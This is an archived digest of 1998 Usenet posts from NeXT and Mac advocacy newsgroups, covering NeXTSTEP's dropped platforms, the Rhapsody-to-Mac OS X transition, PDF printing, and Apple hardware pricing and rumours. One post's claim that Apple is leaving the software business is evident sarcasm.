This I didn't know. Thanks for the tid-bits Don.
> Therefore, Apple is the one to "blame" for dropping m68k and Sparc
support;
> NeXT (and HP) together made the decision to drop HPPA support. While
I
> consider the loss of Sparc support a shame, it is also
understandable. Very
> much so, given hardware/driver issues they'd have to face. The
hardware you
> could run the Sparc release on was getting pretty outdated, and you
can't run
> it on the latest Sparc hardware. Probably more work than is worth
doing to
> get everything updated...though it is still an unfortunate loss.
Too true. Didn't NeXT say they'd support 040 until 97 or 98? They
came
pretty close. 4.2 is far too slow on black for my tastes. And I'm
very happy
with my P-Pro 225 running 4.2. Other than some flaky RAM and SCSI
termination problems (from swapping things periodically) it's been rock
solid. But frankly my ND ADB Turbo Cube as a server has been running
side by side with a Indigo2 R4400-250 Extreme for nearly two years now.
They are both like rocks.. Cross my fingers.
> On the good side, you *can* run WOF on Solaris, and since most Sun
hardware
> would be in the server room and not on the desktop, this is a
reasonable
> compromise. You get PDO, EOF, WOF, and Foundation on Sparc under
Solaris,
> after all. And you have PDO, EOF, and Foundation for HPPA under
HPUX, too,
> so that's a reasonable deal, also.
>
> Finally, I think that dropping m68k isn't that big a deal. I even
have three
> slabs here--IMHO 4.2 is too slow for m68k, and Rhapsody on them would
be a
> bigger pig. I'm running my slabs on 3.3 and that works just fine; I
run 4.2
> on my Intel box. I also feel I got several good years out of my
slabs (7+
> years ain't bad for a computer!) so I think Apple's dropping of m68k
support
> is quite reasonable.
I agree. Black is good with 3.3 and can still be useful as a print
server,
answering machine, fax machine, etc. I don't care too much that
Rhapsody
won't run on Black. That Rhapsody 1.0 will be last release for Intel
WILL
BE Apple's downfall into a shrinking market.
> So I guess I can rationalize it all away and accept it. I'm not
happy to see
> the number of supported platforms die out (with Intel seemingly on
the block
> soon, too, now). Interesting thought: NEXTSTEP ran on four
architectures.
> Come to Rhapsody (5.0, in effect) and you're down to one of those
plus PPC,
> so two architectures. Come 6.0 (Mac OS X) you're down to PPC, which
is
> exactly none of the platforms that NeXT's product ran on. (Well,
there was a
> partial in-house port to PPC back in 1993, but that doesn't count
because it
> never got out.)
>
Yep. I've talked at length to Jim Moosemann about NeXT dropping the
NRW.
And if there was a stupid move that was it. Water under the bridge.
I understand
that hardware development costs were high, but hell you had a working
prototype
with SMP.. Can anyone imagine what NeXT would have been with SMP PPC
in 93-96 time frames.. Oh and it probably would have been possible to
run
MacOS to boot. Though we wouldn't have gotten the Intel port of NS I
bet.
Jim said he could have sold MANY, MANY boxes running NS with dual PPC.
Ah times past. The Apple "Think Different" Campaign should be renamed
to
"Don't Think". Since with no choices you don't have to think about
anything.
BTW: I'm going to post this publically since a variant of it has been
bantered
in the Rhaptel newsgroup. A first step out of the problems with
Rhapsody
provided Apple decides to change it's mind on intel support is to
rename
Rhapsody - MacOS X - Server and make a solid commitment to supporth
MacOS-X-Server on Intel and PPC for as long at they exist as
independant
company. I would hope they'd do a MacOS-X-User for Intel/PPC since it
would be the right thing to do. Apple has a lot of negative mometum
to
overcome if they still want to sell servers. If they just want to
sell User
boxes, they might as well fold up now as in 5 years they will be either
gone
or purchased by Oracle, Adobe or whomever.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Violent SJ and the ICP was: Re: Reverse Technology -
Date: 15 Jun 98 15:50:25
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun15155025@slave.doubleu.com>
References: <357DB62A.6D843E17@alum.mit.edu> <6lm54c$iqs@btmpjg.god.bel.alcatel.be>
<3583A6E8.7C5A@southwind.net> <01bd989a$d79a96a0$04387880@test1>
<35859105.7802997@nstar.net>
In-reply-to: Michael Peck's message of Mon, 15 Jun 1998 16:24:21 -0500
In article <35859105.7802997@nstar.net>,
Michael Peck <mjpeck@nstar.net> writes:
Todd Heberlein wrote:
> jmz@southwind.net wrote
> > All of these things are true. If you want to fail, study
> > famous failures and emulate them.
>
> It is easy to point to company xyz and say they failed because of
> abc. Unfortunately, every major computer company has failed, sold,
> been dismantled, or is struggling.
>
> Where are they now:
> Word Perfect Corp. - sold twice
> Lotus Corp. - sold to IBM (mainly to get Notes)
> Borland Corp. - died and reborn as Inprise
> Digital Equipment Corp. - sold to Compaq
> Tandem Corp. - sold to Compaq
> Commodore/Amiga - died, several attempts to be reborn
And yet the failures of all of these companies is largely blamed on
the companies (or their management) themselves.
That sums up most failures. If Microsoft was bought out by Bob's Used
CD-ROMs tomorrow, there would be an _incredible_ amount of spin about
how this or that specific thing Gates did at this or that time was the
cause.
If we could roll things back a couple years, and had Microsoft fail in
1993, the same thing would have happened - though it's obvious from
today's perspective that none of what came before that was really a
fatal flaw.
I guess my point is that what looks like a blunder in a company that
fails looks often looks like serendipity in a company that succeeds.
If Apple and NeXT hadn't kept such a lid on the industry's crown
jewels, maybe a more entrepreneurial market could have been built.
I have a feeling that this is almost a truism. How would things have
worked out if NeXTSTEP User+Developer had been the same quality but
_free_? As it is, the productivity gains were good enough to get many
companies on-board. I'd guess that some companies might have signed
on specifically because it _wasn't_ Windows (Solitare, Quake, Myst)
compatible.
Oh, well, bygones are gone,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: 19 Jun 1998 09:26:22 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6mdaru$2m7$1@news.cs.tu-berlin.de>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com> <j-jahnke-1506982306430001@dapple.tormenta.com> <jdoherty-1606982001120001@aus-tx17-17.ix.netcom.com> <j-jahnke-1706980222270001@dapple.tormenta.com> <jdoherty-1706980305430001@aus-tx17-17.ix.netcom.com> <j-jahnke-1706981131060001@dapple.tormenta.com> <jdoherty-1806982332470001@aus-tx27-09.ix.netcom.com> <j-jahnke-1906980251
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j-jahnke@uchicago.edu (Jerome Jahnke) writes:
[..]
>Here is where we differ, Adobe should take a huge hunk of the blame here.
Yup, that's where the blame lies. With Adobe. PDF has nothing to
do with it.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: ethorne@chicagonet.net (Edwin E. Thorne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: Fri, 19 Jun 1998 01:56:11 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <1daul49.wxuhrx1wimy47N@pppsl844.chicagonet.net>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <slrn6ojoni.plc.sal@panix3.panix.com>
NNTP-Posting-Date: 19 Jun 1998 06:56:55 GMT
Salvatore Denaro <sal@panix3.panix.com> wrote:
> (newsgroups trimmed)
>
> On 18 Jun 1998 19:22:36 GMT, Edwin E. Thorne <edwin.thorne@rauland.com> wrote:
> >Well, let's open your eyes. You constantly boasted what a great deal
> >sub-$1K PCs are, and now you bought a Mac for more, after fighting Joe
> >Ragosta tooth and nail when he told you that a G3 could be had for the
> >price you paid.
>
> Steve's point was that Apple had _no_ product in that price range, not
> that the sub $1k PCs are all that good. And he was 100% right. Apple has
> not had any (let alone _good_ or even halfway decent) consumer product
> in a long time. The LC series comes to mind.
Cost of acquisition is not the sole determining factor of the value of a
computer. I feel that the Performa that I own represent a great
consumer value.
>
> Did you read any of the _dozens_ of posts he made when he had trouble
> installing OpenStep/Mach on his machine? He is hardly a PC cheerleader
> spreading FUD about the Mac.
Yes, I read his posts. That doesn't change the fact that he bashed the
Mac while advocating cheap PCs.
Edwin
------------------------------------------------
Created on an Apple Macintosh Performa 6400/180
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Fri, 19 Jun 1998 02:51:41 -0500
Organization: Tormenta Software
Message-ID: <j-jahnke-1906980251410001@dapple.tormenta.com>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com> <j-jahnke-1506982306430001@dapple.tormenta.com> <jdoherty-1606982001120001@aus-tx17-17.ix.netcom.com> <j-jahnke-1706980222270001@dapple.tormenta.com> <jdoherty-1706980305430001@aus-tx17-17.ix.netcom.com> <j-jahnke-1706981131060001@dapple.tormenta.com> <jdoherty-1806982332470001@aus-tx27-09.ix.netcom.com>
In article <jdoherty-1806982332470001@aus-tx27-09.ix.netcom.com>,
jdoherty@ix.netcom.com (John Doherty) wrote:
> In article <j-jahnke-1706981131060001@dapple.tormenta.com>,
> j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
>
> | In article <jdoherty-1706980305430001@aus-tx17-17.ix.netcom.com>,
> | jdoherty@ix.netcom.com (John Doherty) wrote:
> |
> | > | I just print stuff out at work on a duplex printer
> | >
> | > That is without a doubt the best way to get what you want to do done.
> | > Didn't I point that out a couple of years ago?
> |
> | Yup, before I had a duplex printer at work. And while I still needed
> | documents printed.
>
> I still don't have a duplex printer, and I'll bet I have to get more
> pages printed a day than you do.
Ahhhh but I don't get paid to print stuff... You do. Printing for me is a
means to an end, not an end in and of it's self. I would hope you print
more than me duplex printer or no.
> Let's place blame where blame is due: Apple's print drivers blow.
> Nobody else's are that much better, and most are a lot worse, but
> that's a separate issue.
Here is where we differ, Adobe should take a huge hunk of the blame here.
The Microsft Drivers do not do even odd page stuff either. PDF has been
touted as a cross platform delivery system and to my mind my printer is
just one of those platforms. They don't make me start at the first page
when reading a PDF file on my screen and force me to spend time at each
page in order for me to get to page 238. I can just click a button type in
a number and I will be at page 238. Why can't I have similar control in
printing. It isn't as though Adobe doesn't know how to print, for
crissakes they sell the technology to most printer manufacturers.
Clearly this technology did not exist on either of the two major platforms
PDF was aimed. And instead of addressing the only platform that was
possibly bigger than the two OS platforms (the printer) Adobe just ignored
the problem and hoped people would blame the OS folks.
If Microsoft had decent printer drivers that let that stuff happen I would
be more inclined to agree with you, but since no one has them, clearly
Adobe has to step up and swing for the bleachers. It is obvious that Adobe
doesn't use Apple's Drivers to produce the postscript. So why is it that
they saddle us with that drivers limitations?
Now if the specs for PDF were indeed publically available and I could
write my own little PDF printer I again would say Apple blows and it is
all their fault. But to the best of my knowledge I am not allowed to know
how PDF works, and as such, the world will not see my useful PDF printer.
Jer,
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Mac OS X UI
Message-ID: <Beri1.3521$r5.1600425@proxye1.san.rr.com>
Date: Fri, 19 Jun 1998 10:40:33 GMT
NNTP-Posting-Date: Fri, 19 Jun 1998 03:40:33 PDT
Organization: TWC Road Runner, San Diego, CA
Hi all,
Since the Mac OS X announcement at WWDC, I've been wondering if Apple is
going to keep to it's plans for the Rhapsody UI. Will the Finder be
replaceable or allow plug-ins? Are they still following the "Copland and
beyond" ideas as seen in that leaked
Rhapsody UI draft from awhile back?
Or, as I've seen rumored, will it just be a Carbonized version of the
Allegro (or post-Allegro) Finder?
Will we finally be able to have a single, universal contact manager via
Services or will it be as bad as Win9x despite Exchange and MAPI?
Another question, what kinds of usability/productivity enhancements would
you like to see in Mac OS X?
--Ed.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: 19 Jun 1998 04:02:58 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ojoni.plc.sal@panix3.panix.com>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com>
(newsgroups trimmed)
On 18 Jun 1998 19:22:36 GMT, Edwin E. Thorne <edwin.thorne@rauland.com> wrote:
>Well, let's open your eyes. You constantly boasted what a great deal
>sub-$1K PCs are, and now you bought a Mac for more, after fighting Joe
>Ragosta tooth and nail when he told you that a G3 could be had for the
>price you paid.
Steve's point was that Apple had _no_ product in that price range, not
that the sub $1k PCs are all that good. And he was 100% right. Apple has
not had any (let alone _good_ or even halfway decent) consumer product
in a long time. The LC series comes to mind.
Did you read any of the _dozens_ of posts he made when he had trouble
installing OpenStep/Mach on his machine? He is hardly a PC cheerleader
spreading FUD about the Mac.
--
sal@panix.com
Salvatore Denaro
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 19 Jun 1998 10:38:45 GMT
Organization: P & L Systems
Message-ID: <6mdf3l$5mq$4@ironhorse.plsys.co.uk>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net>
<6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com>
<6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com>
<6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com>
<6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com>
<slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com>
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Cc: mjpeck@nstar.net
In <3589A742.96EEFF47@nstar.net> Michael Peck wrote:
> spagiola@my-dejanews.com wrote:
>
> What would they say if I asked this person (point-blank): "So, MacOS X =
> Rhapsody + Carbon - Intel - NXHosting - DPS?" What if I said "Feel free
> to mention anything else that will be dropped/changed that hasn't
> otherwise been revealed by Apple."
>
They'd probably say "You have it part right."
(a) Rhapsody the OS has nothing to do with the hardware platform (did MacOS
suddenly stop becoming MacOS when it was ported to PPC; is Solaris still
Solaris when it runs on Intel?); besides I think you'll find that Apple
occasionally made the point that "Rhapsody" includes the BlueBox, so strictly
"Rhapsody" was only ever targetted at PPC...
(b) "- NXHosting - DPS" might be better expressed as "+ new imaging model" --
but then that depends on what spin you want to put on it.
(c) There are to be other changes -- I'm sure some of the apps will change,
and apparently MacOS X will use a Mach 3 kernel.
So the question I geuss comes down to the philosophical debate about the
deteriorating boat... at what stage have you replaced so many timbers that
HMS Victory is no longer Nelson's flagship? (Or -- for the US-centric -- if
it's still preserved, at what stage have so many of the Merrimack's plates
been replaced that it's no longer one of the original ironclads?)
I would suggest that given the precedent in other products (e.g. MacOS,
consider the transition 7.6-> 8.0) MacOS X is closer to Rhapsody 2.0 than
anything else -- or what would you rather call it?
> Would this person begin to stammer and argue around the issues? Would
> he/she prefer to provide pat and misleading response? Would there be a
> good reason that Apple isn't saying that MacOS X is Rhapsody?
>
Yes: PR. I thought this had been made abundantly clear.
Best wishes,
mmalc.
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.marketplace,comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Looking for working NeXT in SF / Bay area
Date: 19 Jun 1998 11:39:56 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6mdimc$5ec$2@sun27.hrz.tu-darmstadt.de>
References: <6mdera$3s3$1@news.eunet.ch>
jfg@infodesign.ch (Jean-Francois Groff) wrote:
> I'm looking for someone with a functional "black" NeXT system anywhere
>in the San Francisco / Bay area, in order to demo some old software to a
>friend. (The software was the first ever World-Wide Web prototype,
>seamlessly including browsing and editing, so you may be interested in
>seeing it too...)
> Please email me at the address below (I don't read news, I just came
>here to post that request).
>
> Jean-Francois Groff <jfg@infodesign.net> (NeXT-Mail & MIME OK)
> Founder, InfoDesign Ltd. Tel: +41-22-771.0440
> Professional Web Services since 1992 Fax: +41-22-771.0441
> Mail: 1 chemin Plein-Vent, CH-1228 Geneva-Arare, Switzerland
Everybody, please note that this is _the_ Jean-Francois Groff, who
worked with Tim Berners-Lee and Robert Cailliau to create the first
World Wide Web browser, running of course on a NeXT Cube.
Somebody please lend him a hand (and tell him hi from me).
Regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 19 Jun 1998 09:19:03 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6mdae7$2d1$1@news.cs.tu-berlin.de>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com
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Michael Peck <mjpeck@nstar.net> writes:
>Would this person begin to stammer and argue around the issues? Would
>he/she prefer to provide pat and misleading response? Would there be a
>good reason that Apple isn't saying that MacOS X is Rhapsody?
Read Alsop's column in Fortune (available on-line). If that doesn't
answer your question, well...
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: 19 Jun 1998 09:35:38 GMT
Organization: P & L Systems
Message-ID: <6mdbda$5mq$3@ironhorse.plsys.co.uk>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de>
<ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com>
<j-jahnke-1506982306430001@dapple.tormenta.com> <jdoherty-1606982001120001@aus-tx17-17.ix.netcom.com>
<j-jahnke-1706980222270001@dapple.tormenta.com> <jdoherty-1706980305430001@aus-tx17-17.ix.netcom.com>
<j-jahnke-1706981131060001@dapple.tormenta.com> <jdoherty-1806982332470001@aus-tx27-09.ix.netcom.com>
<j-jahnke-1906980251410001@dapple.tormenta.com>
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Cc: j-jahnke@uchicago.edu
In <j-jahnke-1906980251410001@dapple.tormenta.com> Jerome Jahnke wrote:
> Now if the specs for PDF were indeed publically available and I could
> write my own little PDF printer I again would say Apple blows and it is
> all their fault. But to the best of my knowledge I am not allowed to know
> how PDF works, and as such, the world will not see my useful PDF printer.
>
Umm, the specs for PDF are publicly available on Adboe's WWW site -- look for
a document called PDFSPEC.pdf. I look forward to your useful PDF printer.
:-)
We had a NEXTSTEP application which took a .ps file and allowed you to
graphically select which pages you wanted to print, or print in (2-up if you
wanted) booklet form (sending all the backs to the printer first, then the
fronts, so you could do duplex printing even if you didn't have a duplex
printer). I keep saying we should upgrade it and port to Rhapsody -- how
many people here would be interested in it if we did? (I've asked this
before and had some positive responses, but not enough to make it worthwhile
<sigh>).
Best wishes,
mmalc.
From: jfg@infodesign.ch (Jean-Francois Groff)
Newsgroups: comp.sys.next.marketplace,comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Looking for working NeXT in SF / Bay area
Date: 19 Jun 1998 10:34:18 GMT
Organization: EUnet AG
Message-ID: <6mdera$3s3$1@news.eunet.ch>
I'm looking for someone with a functional "black" NeXT system anywhere
in the San Francisco / Bay area, in order to demo some old software to a
friend. (The software was the first ever World-Wide Web prototype,
seamlessly including browsing and editing, so you may be interested in
seeing it too...)
Please email me at the address below (I don't read news, I just came
here to post that request).
Jean-Francois Groff <jfg@infodesign.net> (NeXT-Mail & MIME OK)
Founder, InfoDesign Ltd. Tel: +41-22-771.0440
Professional Web Services since 1992 Fax: +41-22-771.0441
Mail: 1 chemin Plein-Vent, CH-1228 Geneva-Arare, Switzerland
Date: Fri, 19 Jun 1998 08:11:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1906980811320001@wil84.dol.net>
References: <6map2e$hpd$1@ns3.vrx.net> <B1AE9C85-2E635@206.165.43.66> <see-below-1806981702530001@dynamic23.pm07.mv.best.com> <slrn6ojmmf.plc.sal@panix3.panix.com>
In article <slrn6ojmmf.plc.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Thu, 18 Jun 1998 17:02:53 -0700, Matthew Vaughan
<see-below@not-my-address.com> wrote:
> >I just wish Apple would go ahead and make some announcement if the iMac is
> >really going to use Rage Pro instead of Rage II. I know they don't want to
> >announce it for their current G3 machines until the old ones are all out
> >of the channel, but I don't see why they couldn't announce it for the
> >iMac.
>
> Maybe they are going to exhaust the current stock of Rage II+'s and 33.6k
> modem parts and then switch to the PRO? That would explain the lack of
> any announcements on 56k modems and the ATI RAGE Pro.
Modems? That's what one of the Mac pages says (MacNN Reality, IIRC).
Rage Pro? Seems a bit less likely since they've already upgraded the G3s
to the Rage Pro chip. Why would they do that without an announcement if
they still had a lot of Rage II chips in stock?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: WebObjects spin-off rumor
Date: 19 Jun 1998 12:13:40 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6mdklk$6qk$1@sun27.hrz.tu-darmstadt.de>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <6m0kg4$khs@nntp02.primenet.com> <6m13tr$ndd$4@ironhorse.plsys.co.uk> <6m1eq1$hkq@nntp02.primenet.com> <6m8k50$5mq$2@ironhorse.plsys.co.uk> <6ma6gv$akr$1@argentina.it.earthlink.net>
"Ziya Oz" <ziyaoz@earthlink.net> wrote:
>spin-offs. For starters, reports are emanating from the Mother Ship of a
>possible extrusion of WebObjects, the hot-'n'-hunky object-oriented Web
>development tool Apple acquired along with NeXT. The jury is reportedly out
on
>whether to sell off the technology or launch WebObjects Inc. with an IPO."
Well, I'm not supposed to tell you yet, but what the heck, so much has
leaked out already, it doesn't really make a difference: Yes, Apple is
going to drop WebObjects. This was part of the Apple-Microsoft deal
last year. Actually, Apple will not only drop Rhapsody, WebObjects,
but will go out of the software business altogether, and focus on
being a hardware maker. MacOS X _really_ will be NT 5.0. The portable
consumer device scheduled for spring 99 will run Windows CE, but come
in a nice translucent case to differentiate it from the various PDAs
from HP, Casio etc.
Hope this clears up things a bit,
Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
Date: Fri, 19 Jun 1998 08:13:58 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1906980813580001@wil84.dol.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu> <joe.ragosta-1806982140420001@elk120.dol.net> <6mcgbq$abc$1@hecate.umd.edu>
In article <6mcgbq$abc$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
> : Of course, you neglect the fact that the G3 was optimized for MacOS. That
> : makes any scores on Unix irrelevant.
>
> And the relevence to this piece of information to my point of contention
> is? Remember, someone posited that G3 750's FP performance should
> easily beat Pentium II. I posted numbers showing that it does not.
> What does MacOS/unix issue have to do with this?
Just one thing. Can you point to ANY G3 750 systems that are not installed
in Macs?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.next.advocacy
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From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 19 Jun 1998 06:27:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6mdov4$e2f@nntp02.primenet.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com>
<slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com> <6mc51u$sih$1@nnrp1.dejanews.com> <3589A742.96EEFF47@nstar.net> <6mdf3l$5mq$4@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: So the question I geuss comes down to the philosophical debate about the
: deteriorating boat... at what stage have you replaced so many timbers that
: HMS Victory is no longer Nelson's flagship? (Or -- for the US-centric -- if
: it's still preserved, at what stage have so many of the Merrimack's plates
: been replaced that it's no longer one of the original ironclads?)
We still have a little boat called the Constitution ...
From the URL below:
"The USS Constitution set sail under its own power for the first time in
116 years Monday to mark the 200th anniversary of its launch."
http://www.cnn.com/US/9707/21/uss.constitution/index.html
John
Date: Fri, 19 Jun 1998 08:30:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Upgrade ASAP (was: Re: Skip NT 5.0)
Message-ID: <joe.ragosta-1906980830370001@wil84.dol.net>
References: <6lk75t$afl@newsb.netnews.att.com> <357EFD28.ABD322C@ctron.com> <6lopaf$86v@newsb.netnews.att.com> <petrichEuErw6.CLq@netcom.com> <6lrc8p$ff1@newsb.netnews.att.com> <casper-1806980728410001@wheat-a-06.monroeville.nb.net> <35897138.7D4B9D67@alum.mit.edu>
In article <35897138.7D4B9D67@alum.mit.edu>, Eric Hermanson
<eric@alum.mit.edu> wrote:
> Tim Scoff wrote:
>
> > Skip NT 5.0??? Are you crazy? MS's web site states that their solution
> > to make your NT servers 100% Year 2000 compliant. is to upgrade to NT 5
> > when it is released late in 1999.
>
> I should turn around ask, are YOU crazy?
>
> Any corporation, or individual for that matter, who upgrades to NT5 in
LATE 1999 in order to ready themselves for Y2K on Jan 1, 2000 is
absolutely nuts! One should invest at least 1 year of testing on any
semi-complicated system before
> deploying a Y2K-safe solution. Microsoft is nuts if they think
releasing NT5 in late 1999 is a "good" way to handle the Y2K problem.
Everything you've said is 100% true.
But you underestimate the willingness of millions of drones to do whatever
Microsoft tells them to do.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Fri, 19 Jun 1998 13:02:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mdnhk$tie$1@nnrp1.dejanews.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net> <6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> Fine. Microsoft denied that Windows 95 had DOS underpinnings. Whatever
> the actual case, the clear communication was that Windows 95 represented
> a direct departure from the old DOS technologies previously purveyed
> from Redmond. Microsoft was sending the message loud, clear, and
> officially that DOS was not a relevant technology with regard to Windows
> 95, and that Microsoft's new operating system strategy was leaving DOS
> behind.
> Apple is sending the message, loud, clear, and officially, that it will
> be dropping Rhapsody after version 1.0 and taking a different course in
> its operating system strategy.
Fine. Microsoft denied, loud and clear that W95 had DOS underpinnings. Since
they clearly lied, I'm not sure what the lesson you're taking from this is.
Now Apple is stressing the continuity of its OS development efforts with the
old MacOS rather than stressing the parts that are new (Yellow Box etc). But
